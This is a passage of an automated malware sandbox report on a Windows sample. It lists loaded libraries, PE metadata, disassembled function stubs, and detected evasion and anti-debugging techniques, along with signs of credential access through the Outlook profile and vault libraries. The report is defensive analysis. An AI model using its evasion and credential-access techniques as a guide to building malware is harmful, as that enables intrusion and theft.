                Source: C:\Windows\SysWOW64\sc.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: mlang.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: winsqlite3.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: vaultcli.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: dpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeSection loaded: fwpuclnt.dllJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32Jump to behavior
                Source: C:\Windows\SysWOW64\sc.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
                Source: lKvXJ7VVCK.exeStatic file information: File size 1207808 > 1048576
                Source: lKvXJ7VVCK.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
                Source: lKvXJ7VVCK.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
                Source: lKvXJ7VVCK.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
                Source: lKvXJ7VVCK.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: lKvXJ7VVCK.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
                Source: lKvXJ7VVCK.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
                Source: lKvXJ7VVCK.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: aTYBQVHvJYFlI.exe, 00000003.00000002.60941080904.0000000000FFE000.00000002.00000001.01000000.00000004.sdmp, aTYBQVHvJYFlI.exe, 00000005.00000002.60942414334.0000000000FFE000.00000002.00000001.01000000.00000004.sdmp
                Source: Binary string: wntdll.pdbUGP source: lKvXJ7VVCK.exe, 00000000.00000003.59698477433.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, lKvXJ7VVCK.exe, 00000000.00000003.59697227498.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.60157020497.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.60249519652.0000000003100000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.60159926974.0000000002F00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.60249519652.000000000322D000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000004.00000002.60943504311.000000000360D000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000004.00000002.60943504311.00000000034E0000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000004.00000003.60248980684.0000000003176000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000004.00000003.60251746756.000000000332F000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: sc.pdbUGP source: svchost.exe, 00000002.00000003.60217838596.0000000000A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.60217738016.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, aTYBQVHvJYFlI.exe, 00000003.00000002.60940177873.00000000007BA000.00000004.00000020.00020000.00000000.sdmp, aTYBQVHvJYFlI.exe, 00000003.00000003.60187674509.00000000007AC000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: lKvXJ7VVCK.exe, 00000000.00000003.59698477433.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, lKvXJ7VVCK.exe, 00000000.00000003.59697227498.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.60157020497.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.60249519652.0000000003100000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.60159926974.0000000002F00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.60249519652.000000000322D000.00000040.00001000.00020000.00000000.sdmp, sc.exe, sc.exe, 00000004.00000002.60943504311.000000000360D000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000004.00000002.60943504311.00000000034E0000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000004.00000003.60248980684.0000000003176000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000004.00000003.60251746756.000000000332F000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: sc.pdb source: svchost.exe, 00000002.00000003.60217838596.0000000000A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.60217738016.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, aTYBQVHvJYFlI.exe, 00000003.00000002.60940177873.00000000007BA000.00000004.00000020.00020000.00000000.sdmp, aTYBQVHvJYFlI.exe, 00000003.00000003.60187674509.00000000007AC000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: svchost.pdb source: sc.exe, 00000004.00000002.60945232501.0000000003B0C000.00000004.10000000.00040000.00000000.sdmp, sc.exe, 00000004.00000002.60939755365.0000000002F9E000.00000004.00000020.00020000.00000000.sdmp, aTYBQVHvJYFlI.exe, 00000005.00000002.60943858639.0000000002BDC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.60549139633.00000000026DC000.00000004.80000000.00040000.00000000.sdmp
                Source: Binary string: svchost.pdbUGP source: sc.exe, 00000004.00000002.60945232501.0000000003B0C000.00000004.10000000.00040000.00000000.sdmp, sc.exe, 00000004.00000002.60939755365.0000000002F9E000.00000004.00000020.00020000.00000000.sdmp, aTYBQVHvJYFlI.exe, 00000005.00000002.60943858639.0000000002BDC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.60549139633.00000000026DC000.00000004.80000000.00040000.00000000.sdmp
                Source: lKvXJ7VVCK.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
                Source: lKvXJ7VVCK.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
                Source: lKvXJ7VVCK.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
                Source: lKvXJ7VVCK.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
                Source: lKvXJ7VVCK.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_004F4B37 LoadLibraryA,GetProcAddress,0_2_004F4B37
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_004FC4C6 push A3004FBAh; retn 004Fh0_2_004FC50D
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00518945 push ecx; ret 0_2_00518958
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006A184C push E711456Eh; retf 2_2_006A1809
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006B6063 push esi; retf 2_2_006B606E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006A21E1 push ss; retf 2_2_006A21E4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006B4992 push ebp; iretd 2_2_006B49B6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006B7A42 push ss; iretd 2_2_006B7A4C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006A73CC push ds; iretd 2_2_006A7424
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006A73D3 push ds; iretd 2_2_006A7424
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006B63A6 push 0000005Ch; iretd 2_2_006B63B2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006A3440 push eax; ret 2_2_006A3442
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006B8451 pushad ; iretd 2_2_006B8474
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006B1E78 push esp; ret 2_2_006B1E79
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006A8601 push ds; retf 2_2_006A8602
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006AAE01 push cs; ret 2_2_006AAE02
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006AA763 push 689E092Ah; ret 2_2_006AA775
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031308CD push ecx; mov dword ptr [esp], ecx2_2_031308D6
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeCode function: 3_2_0453AC5C push esp; ret 3_2_0453AC5D
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeCode function: 3_2_04542423 push cs; iretd 3_2_04542438
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeCode function: 3_2_0453EE47 push esi; retf 3_2_0453EE52
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeCode function: 3_2_04540826 push ss; iretd 3_2_04540830
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeCode function: 3_2_0453F18A push 0000005Ch; iretd 3_2_0453F196
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeCode function: 3_2_045301B0 push ds; iretd 3_2_04530208
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeCode function: 3_2_045301B7 push ds; iretd 3_2_04530208
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeCode function: 3_2_04541235 pushad ; iretd 3_2_04541258
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeCode function: 3_2_045313E5 push ds; retf 3_2_045313E6
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeCode function: 3_2_04533BE5 push cs; ret 3_2_04533BE6
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_034E21AD pushad ; retf 0004h4_2_034E223F
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035108CD push ecx; mov dword ptr [esp], ecx4_2_035108D6
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_034E97A1 push es; iretd 4_2_034E97A8
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_02CFA2F3 push es; retf 4_2_02CFA306
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeProcess created: C:\Windows\SysWOW64\sc.exe "C:\Windows\SysWOW64\sc.exe"
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_004F48D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_004F48D7
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00575376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_00575376
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00513187 EncodePointer,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00513187
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

                Malware Analysis System Evasion

                barindex
                Switches to a custom stack to bypass stack traces
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeAPI/Special instruction interceptor: Address: EA51BC
                Source: C:\Windows\SysWOW64\sc.exeAPI/Special instruction interceptor: Address: 7FF8E6EAD144
                Source: C:\Windows\SysWOW64\sc.exeAPI/Special instruction interceptor: Address: 7FF8E6EAD604
                Source: C:\Windows\SysWOW64\sc.exeAPI/Special instruction interceptor: Address: 7FF8E6EAD764
                Source: C:\Windows\SysWOW64\sc.exeAPI/Special instruction interceptor: Address: 7FF8E6EAD324
                Source: C:\Windows\SysWOW64\sc.exeAPI/Special instruction interceptor: Address: 7FF8E6EAD364
                Source: C:\Windows\SysWOW64\sc.exeAPI/Special instruction interceptor: Address: 7FF8E6EAD004
                Source: C:\Windows\SysWOW64\sc.exeAPI/Special instruction interceptor: Address: 7FF8E6EAFF74
                Source: C:\Windows\SysWOW64\sc.exeAPI/Special instruction interceptor: Address: 7FF8E6EAD864
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0317088E rdtsc 2_2_0317088E
                Source: C:\Windows\SysWOW64\sc.exeWindow / User API: threadDelayed 9852Jump to behavior
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeAPI coverage: 4.4 %
                Source: C:\Windows\SysWOW64\svchost.exeAPI coverage: 0.7 %
                Source: C:\Windows\SysWOW64\sc.exeAPI coverage: 2.8 %
                Source: C:\Windows\SysWOW64\sc.exe TID: 6148Thread sleep count: 120 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\sc.exe TID: 6148Thread sleep time: -240000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\sc.exe TID: 6148Thread sleep count: 9852 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\sc.exe TID: 6148Thread sleep time: -19704000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeLast function: Thread delayed
                Source: C:\Windows\SysWOW64\sc.exeLast function: Thread delayed
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0055445A GetFileAttributesW,FindFirstFileW,FindClose,0_2_0055445A
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0055C6D1 FindFirstFileW,FindClose,0_2_0055C6D1
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0055C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,0_2_0055C75C
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0055EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_0055EF95
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0055F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_0055F0F2
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0055F3F3 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_0055F3F3
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_005537EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_005537EF
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00553B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_00553B12
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0055BCBC FindFirstFileW,FindNextFileW,FindClose,0_2_0055BCBC
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_02CFCA10 FindFirstFileW,FindNextFileW,FindClose,4_2_02CFCA10
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_004F49A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_004F49A0
                Source: aTYBQVHvJYFlI.exe, 00000005.00000002.60940210941.0000000000BBF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll3
                Source: sc.exe, 00000004.00000002.60939755365.0000000002F9E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                Source: firefox.exe, 00000007.00000002.60550429279.000001C7826D6000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllii
                Source: C:\Windows\SysWOW64\svchost.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0317088E rdtsc 2_2_0317088E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006B7DA3 LdrLoadDll,2_2_006B7DA3
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00563F09 BlockInput,0_2_00563F09
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_004F3B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_004F3B3A
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00525A7C EncodePointer,EncodePointer,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,0_2_00525A7C
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_004F4B37 LoadLibraryA,GetProcAddress,0_2_004F4B37
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00EA5488 mov eax, dword ptr fs:[00000030h]0_2_00EA5488
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00EA5428 mov eax, dword ptr fs:[00000030h]0_2_00EA5428
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00EA3DD8 mov eax, dword ptr fs:[00000030h]0_2_00EA3DD8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0314E310 mov eax, dword ptr fs:[00000030h]2_2_0314E310
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0314E310 mov eax, dword ptr fs:[00000030h]2_2_0314E310
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0314E310 mov eax, dword ptr fs:[00000030h]2_2_0314E310
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316631F mov eax, dword ptr fs:[00000030h]2_2_0316631F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031D630E mov eax, dword ptr fs:[00000030h]2_2_031D630E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03168322 mov eax, dword ptr fs:[00000030h]2_2_03168322
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03168322 mov eax, dword ptr fs:[00000030h]2_2_03168322
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03168322 mov eax, dword ptr fs:[00000030h]2_2_03168322
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0312E328 mov eax, dword ptr fs:[00000030h]2_2_0312E328
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0312E328 mov eax, dword ptr fs:[00000030h]2_2_0312E328
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0312E328 mov eax, dword ptr fs:[00000030h]2_2_0312E328
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316A350 mov eax, dword ptr fs:[00000030h]2_2_0316A350
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03128347 mov eax, dword ptr fs:[00000030h]2_2_03128347
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03128347 mov eax, dword ptr fs:[00000030h]2_2_03128347
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03128347 mov eax, dword ptr fs:[00000030h]2_2_03128347
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031AE372 mov eax, dword ptr fs:[00000030h]2_2_031AE372
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031AE372 mov eax, dword ptr fs:[00000030h]2_2_031AE372
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031AE372 mov eax, dword ptr fs:[00000030h]2_2_031AE372
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031AE372 mov eax, dword ptr fs:[00000030h]2_2_031AE372
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031B0371 mov eax, dword ptr fs:[00000030h]2_2_031B0371
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031B0371 mov eax, dword ptr fs:[00000030h]2_2_031B0371
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0315237A mov eax, dword ptr fs:[00000030h]2_2_0315237A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316E363 mov eax, dword ptr fs:[00000030h]2_2_0316E363
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316E363 mov eax, dword ptr fs:[00000030h]2_2_0316E363
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316E363 mov eax, dword ptr fs:[00000030h]2_2_0316E363
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316E363 mov eax, dword ptr fs:[00000030h]2_2_0316E363
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316E363 mov eax, dword ptr fs:[00000030h]2_2_0316E363
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316E363 mov eax, dword ptr fs:[00000030h]2_2_0316E363
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316E363 mov eax, dword ptr fs:[00000030h]2_2_0316E363
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316E363 mov eax, dword ptr fs:[00000030h]2_2_0316E363
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0315A390 mov eax, dword ptr fs:[00000030h]2_2_0315A390
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0315A390 mov eax, dword ptr fs:[00000030h]2_2_0315A390
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0315A390 mov eax, dword ptr fs:[00000030h]2_2_0315A390
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031D43BA mov eax, dword ptr fs:[00000030h]2_2_031D43BA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031D43BA mov eax, dword ptr fs:[00000030h]2_2_031D43BA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031AC3B0 mov eax, dword ptr fs:[00000030h]2_2_031AC3B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031643D0 mov ecx, dword ptr fs:[00000030h]2_2_031643D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031BE3DD mov eax, dword ptr fs:[00000030h]2_2_031BE3DD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031B43D5 mov eax, dword ptr fs:[00000030h]2_2_031B43D5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0312E3C0 mov eax, dword ptr fs:[00000030h]2_2_0312E3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0312E3C0 mov eax, dword ptr fs:[00000030h]2_2_0312E3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0312E3C0 mov eax, dword ptr fs:[00000030h]2_2_0312E3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0312C3C7 mov eax, dword ptr fs:[00000030h]2_2_0312C3C7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031363CB mov eax, dword ptr fs:[00000030h]2_2_031363CB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0312821B mov eax, dword ptr fs:[00000030h]2_2_0312821B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0312A200 mov eax, dword ptr fs:[00000030h]2_2_0312A200
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03150230 mov ecx, dword ptr fs:[00000030h]2_2_03150230
